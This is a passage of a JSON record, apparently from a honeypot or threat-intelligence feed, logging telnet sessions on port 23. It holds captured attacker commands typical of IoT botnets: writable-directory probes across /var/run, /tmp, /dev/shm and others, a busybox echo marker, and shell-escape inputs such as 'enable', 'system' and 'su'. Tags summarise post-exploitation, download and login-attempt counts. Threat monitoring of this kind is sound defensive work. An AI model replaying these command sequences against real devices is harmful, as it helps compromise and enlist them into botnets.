/var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x43\\x45\\x50\\x45\\x4e\\x52'","payload_hex":"3e2f7661722f72756e2f2e7826266364202f7661722f72756e3b3e2f6d6e742f2e7826266364202f6d6e743b3e2f7573722f2e7826266364202f7573723b3e2f6465762f2e7826266364202f6465763b3e2f6465762f73686d2f2e7826266364202f6465762f73686d3b3e2f746d702f2e7826266364202f746d703b3e2f7661722f2e7826266364202f7661723b2f62696e2f62757379626f78206563686f202d6520275c7834335c7834355c7835305c7834355c7834655c78353227","method":"","user_agent":"","ja3":"","session":"b73a1899-0f63-40da-b39a-973315fde55b-20","seq":20,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"1360724400fe5ce6","strings":[">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;…"],"iocs":{"paths":["/var/run/.x","/var/run","/mnt/.x","/usr/.x","/dev/.x"]}},"interactive":true},{"timestamp":"2026-10-20T15:19:41","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"system","payload_hex":"73797374656d","method":"","user_agent":"","ja3":"","session":"b73a1899-0f63-40da-b39a-973315fde55b-10","seq":10,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"317f1e761f2faa8d","strings":["system"]},"interactive":true},{"timestamp":"2026-10-20T15:19:41","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"linuxshell","payload_hex":"6c696e75787368656c6c","method":"","user_agent":"","ja3":"","session":"b73a1899-0f63-40da-b39a-973315fde55b-12","seq":12,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"8792476de0c64900","strings":["linuxshell"]},"interactive":true},{"timestamp":"2026-10-20T15:19:41","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"su","payload_hex":"7375","method":"","user_agent":"","ja3":"","session":"b73a1899-0f63-40da-b39a-973315fde55b-14","seq":14,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-20T15:19:41","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"shell","payload_hex":"7368656c6c","method":"","user_agent":"","ja3":"","session":"b73a1899-0f63-40da-b39a-973315fde55b-16","seq":16,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ec122f54cf16a175","strings":["shell"]},"interactive":true},{"timestamp":"2026-10-20T15:19:41","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"enable","payload_hex":"656e61626c65","method":"","user_agent":"","ja3":"","session":"b73a1899-0f63-40da-b39a-973315fde55b-6","seq":6,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9905c33933602ae8","strings":["enable"]},"interactive":true},{"timestamp":"2026-10-20T15:19:41","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"config terminal","payload_hex":"636f6e666967207465726d696e616c","method":"","user_agent":"","ja3":"","session":"b73a1899-0f63-40da-b39a-973315fde55b-8","seq":8,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"2ee0c5cf57d6caf7","strings":["config terminal"]},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":12889},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":12889},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":12838},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":27324}]}